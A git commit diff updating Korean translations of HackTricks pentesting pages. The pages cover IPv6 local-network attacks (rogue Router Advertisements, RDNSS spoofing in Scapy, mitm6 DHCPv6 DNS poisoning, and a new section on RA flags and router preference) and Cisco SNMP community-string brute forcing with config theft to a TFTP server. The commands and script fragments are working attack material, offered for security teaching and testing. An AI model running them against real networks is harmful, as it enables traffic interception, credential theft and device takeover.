Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-08-20 11:46:55 +00:00
parent 9db8eeb35c
commit 6f14db9ba0
2 changed files with 43 additions and 15 deletions

View File

@ -45,7 +45,7 @@ IPv6 주소는 로컬 통신을 위해 장치의 MAC 주소에서 파생될 수
주어진 MAC 주소 **`12:34:56:78:9a:bc`**를 사용하여 Link-local IPv6 주소를 다음과 같이 구성할 수 있습니다:
1. MAC을 IPv6 형식으로 변환: **`1234:5678:9abc`**
2. `fe80::`를 앞에 추가하고 중간에 `fffe`를 삽입: **`fe80::1234:56ff:fe78:9abc`**
2. `fe80::`를 앞에 붙이고 중간에 `fffe`를 삽입: **`fe80::1234:56ff:fe78:9abc`**
3. 왼쪽에서 일곱 번째 비트를 반전시켜 `1234``1034`로 변경: **`fe80::1034:56ff:fe78:9abc`**
### **IPv6 주소 유형**
@ -71,7 +71,7 @@ IPv6 주소는 로컬 통신을 위해 장치의 MAC 주소에서 파생될 수
#### 방법 2: 멀티캐스트 사용
1. 멀티캐스트 주소 `ff02::1`에 핑을 보내 로컬 네트워크에서 IPv6 주소를 발견합니다.
1. 로컬 네트워크에서 IPv6 주소를 발견하기 위해 멀티캐스트 주소 `ff02::1`에 핑을 보니다.
```bash
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
@ -90,7 +90,7 @@ IPv6 네트워크에서 MitM 공격을 실행하기 위한 여러 기술이 존
### Exploring Subdomains
IPv6 주소와 연결될 가능성이 있는 서브 도메인을 찾는 방법은 검색 엔진을 활용하는 것입니다. 예를 들어, `ipv6.*`와 같은 쿼리 패턴을 사용하는 것이 효과적일 수 있습니다. 구체적으로, 다음 검색 명령을 Google에서 사용할 수 있습니다:
IPv6 주소와 연결될 가능성이 있는 서브도메인을 찾는 방법은 검색 엔진을 활용하는 것입니다. 예를 들어, `ipv6.*`와 같은 쿼리 패턴을 사용하는 것이 효과적일 수 있습니다. 구체적으로, 다음 검색 명령을 Google에서 사용할 수 있습니다:
```bash
site:ipv6./
```
@ -99,12 +99,12 @@ site:ipv6./
IPv6 주소를 식별하기 위해 특정 DNS 레코드 유형을 쿼리할 수 있습니다:
- **AXFR**: 전체 존 전송을 요청하여 다양한 DNS 레코드를 발견할 수 있습니다.
- **AAAA**: IPv6 주소를 직접 찾습니다.
- **AAAA**: IPv6 주소를 직접적으로 찾습니다.
- **ANY**: 사용 가능한 모든 DNS 레코드를 반환하는 광범위한 쿼리입니다.
### Ping6로 프로빙
### Ping6로 탐색하기
조직과 관련된 IPv6 주소를 확인한 후, `ping6` 유틸리티를 사용하여 프로빙할 수 있습니다. 이 도구는 식별된 IPv6 주소의 응답성을 평가하는 데 도움이 되며, 인접한 IPv6 장치를 발견하는 데도 도움이 될 수 있습니다.
조직과 관련된 IPv6 주소를 확인한 후, `ping6` 유틸리티를 사용하여 탐색할 수 있습니다. 이 도구는 식별된 IPv6 주소의 응답성을 평가하는 데 도움을 주며, 인접한 IPv6 장치를 발견하는 데도 도움이 될 수 있습니다.
## IPv6 로컬 네트워크 공격 기술
@ -195,7 +195,7 @@ argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
```
결과: 몇 초 만에 전체 **링크 로컬 토폴로지** (MAC ⇄ IPv6)를 생성하며, 능동 스캔에 의존하는 IPS/IDS 시스템을 트리거하지 않습니다.
결과: 몇 초 만에 **링크 로컬 토폴로지** (MAC ⇄ IPv6)를 생성하며, 능동 스캔에 의존하는 IPS/IDS 시스템을 트리거하지 않습니다.
### 라우터 광고 (RA) 스푸핑
@ -227,9 +227,36 @@ sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
### RDNSS (DNS) 스푸핑을 통한 RA
#### 라우터 광고 플래그 (M/O) 및 기본 라우터 선호도 (Prf)
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106)는 RA 내부에 **Recursive DNS Server (RDNSS)** 옵션을 추가하는 것을 허용합니다. 최신 운영 체제(Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved 등)는 이를 자동으로 신뢰합니다:
| 플래그 | 의미 | 클라이언트 행동에 미치는 영향 |
|------|---------|----------------------------|
| **M (관리형 주소 구성)** | `1`로 설정되면 호스트는 **DHCPv6**를 사용하여 IPv6 주소를 얻어야 합니다. | 전체 주소는 DHCPv6에서 나오며, *mitm6* 스타일의 중독에 적합합니다. |
| **O (기타 구성)** | `1`로 설정되면 호스트는 **DHCPv6**를 사용하여 *기타* 정보(DNS, NTP 등)를 얻어야 합니다. | 주소는 여전히 SLAAC를 통해 제공되지만, DNS는 DHCPv6로 탈취될 수 있습니다. |
| **M=0 / O=0** | 순수 SLAAC 네트워크. | RA / RDNSS 트릭만 가능하며, 클라이언트는 DHCPv6를 전송하지 않습니다. |
| **M=1 / O=1** | 혼합 환경. | DHCPv6와 SLAAC가 모두 사용되며, 스푸핑을 위한 표면이 가장 큽니다. |
펜테스트 중에 합법적인 RA를 한 번 검사하고 어떤 벡터가 실행 가능한지 결정할 수 있습니다:
```bash
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
```
덤프에서 `flags [M,O]` 필드를 찾으세요 추측할 필요 없습니다.
RA 헤더 내부의 **Prf** (라우터 선호도) 필드는 *여러* 게이트웨이가 존재할 때 당신의 악성 라우터가 얼마나 매력적으로 보이는지를 제어합니다:
| Prf 값 | 이진수 | 의미 |
|--------|--------|------|
| **높음** | `10` | 클라이언트는 이 라우터를 모든 *중간*/*낮은* 라우터보다 선호합니다 |
| 중간 (기본값) | `01` | 거의 모든 합법적인 장치에서 사용됩니다 |
| 낮음 | `00` | 더 나은 라우터가 존재하지 않을 때만 선택됩니다 |
Scapy로 패킷을 생성할 때 위와 같이 `prf` 매개변수를 통해 설정할 수 있습니다 (`prf=0x1` → 높음). **높은 Prf**, **짧은 간격**, 그리고 **0이 아닌 수명**을 결합하면 당신의 악성 게이트웨이가 놀라울 정도로 안정적입니다.
---
### RDNSS (DNS) 스푸핑 via RA
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106)은 RA 내부에 **재귀 DNS 서버 (RDNSS)** 옵션을 추가하는 것을 허용합니다. 현대 OS(Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved 등)는 이를 자동으로 신뢰합니다:
```python
#!/usr/bin/env python3
from scapy.all import *
@ -253,7 +280,7 @@ send(ra,iface=args.interface,loop=1,inter=args.interval)
### DHCPv6 DNS 스푸핑 (mitm6)
SLAAC 대신, Windows 네트워크는 종종 DNS를 위해 **상태 비저장 DHCPv6**에 의존합니다. [mitm6](https://github.com/rofl0r/mitm6)는 `Solicit` 메시지에 자동으로 응답하여 **Advertise → Reply** 흐름을 통해 **당신의 링크-로컬 주소를 300초 동안 DNS로 할당**합니다. 이는 다음을 가능하게 합니다:
SLAAC 대신, Windows 네트워크는 종종 DNS를 위해 **상태 DHCPv6**에 의존합니다. [mitm6](https://github.com/rofl0r/mitm6)는 `Solicit` 메시지에 자동으로 응답하여 **Advertise → Reply** 흐름을 통해 **당신의 링크-로컬 주소를 300초 동안 DNS로 할당**합니다. 이는 다음을 가능하게 합니다:
* NTLM 릴레이 공격 (WPAD + DNS 하이재킹)
* 라우터를 건드리지 않고 내부 이름 해석 가로채기
@ -271,12 +298,13 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
## 참고문헌
## 참고 문헌
- [Legless IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
- [mitm6](https://github.com/rofl0r/mitm6)
- [RFC 8106 IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## Cisco 네트워크의 펜테스팅
## Pentesting Cisco Networks
**SNMP**는 일반 메시지에 대해 **161/UDP** 포트와 트랩 메시지에 대해 **162/UDP** 포트를 사용하 UDP에서 작동합니다. 이 프로토콜은 SNMP 에이전트와 관리자 간의 통신을 가능하게 하는 평문 "비밀번호" 역할을 하는 *커뮤니티 문자열*에 의존합니다. 이러한 문자열은 접근 수준을 결정하며, 특히 **읽기 전용(RO) 또는 읽기-쓰기(RW) 권한**을 설정합니다.
**SNMP**는 일반 메시지에 대해 **161/UDP** 포트와 트랩 메시지에 대해 **162/UDP** 포트를 사용하 UDP에서 작동합니다. 이 프로토콜은 SNMP 에이전트와 관리자 간의 통신을 가능하게 하는 평문 "비밀번호" 역할을 하는 *커뮤니티 문자열*에 의존합니다. 이러한 문자열은 접근 수준을 결정하며, 특히 **읽기 전용(RO) 또는 읽기-쓰기(RW) 권한**을 설정합니다.
고전적이지만 여전히 매우 효과적인 공격 벡터는 **커뮤니티 문자열을 무차별 대입**하여 인증되지 않은 사용자에서 장치 관리자(RW 커뮤니티)로 상승하는 것입니다. 이 작업을 위한 실용적인 도구는 [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
```bash
@ -40,7 +40,7 @@ snmpset -v2c -c private 192.168.66.1 \
```
행 식별자는 *일회성*입니다; 5분 이내에 재사용하면 `inconsistentValue` 오류가 발생합니다.
파일이 TFTP 서버에 올라가면 자격 증명(`enable secret`, `username <user> secret` 등)을 검사하거나 수정된 구성을 장치로 다시 푸시할 수 있습니다.
파일이 TFTP 서버에 있으면 자격 증명(`enable secret`, `username <user> secret` 등)을 검사하거나 수정된 구성을 장치로 다시 푸시할 수 있습니다.
---
@ -65,7 +65,7 @@ run
| 2024 | CVE-2024-20373 | IPv4 ACL 처리 | 잘못 구성된 **확장** ACL이 조용히 *실패*하여 유효한 커뮤니티/사용자가 알려진 경우 인증되지 않은 SNMP 폴링을 허용합니다. |
| 2025 | (아직 CVE 없음) | SNMPv3 구성 제한 우회 | 유효한 v3 사용자가 거부되어야 하는 주소에서 폴링할 수 있습니다. |
악용 가능성은 종종 커뮤니티 문자열이나 v3 자격 증명을 소유하는 것에 따라 달라집니다. 이는 무작위 대입 공격이 여전히 관련성이 있는 또 다른 이유입니다.
악용 가능성은 종종 커뮤니티 문자열이나 v3 자격 증명을 소유하는 데 여전히 의존합니다. 이는 무작위 대입 공격이 여전히 관련성이 있는 또 다른 이유입니다.
---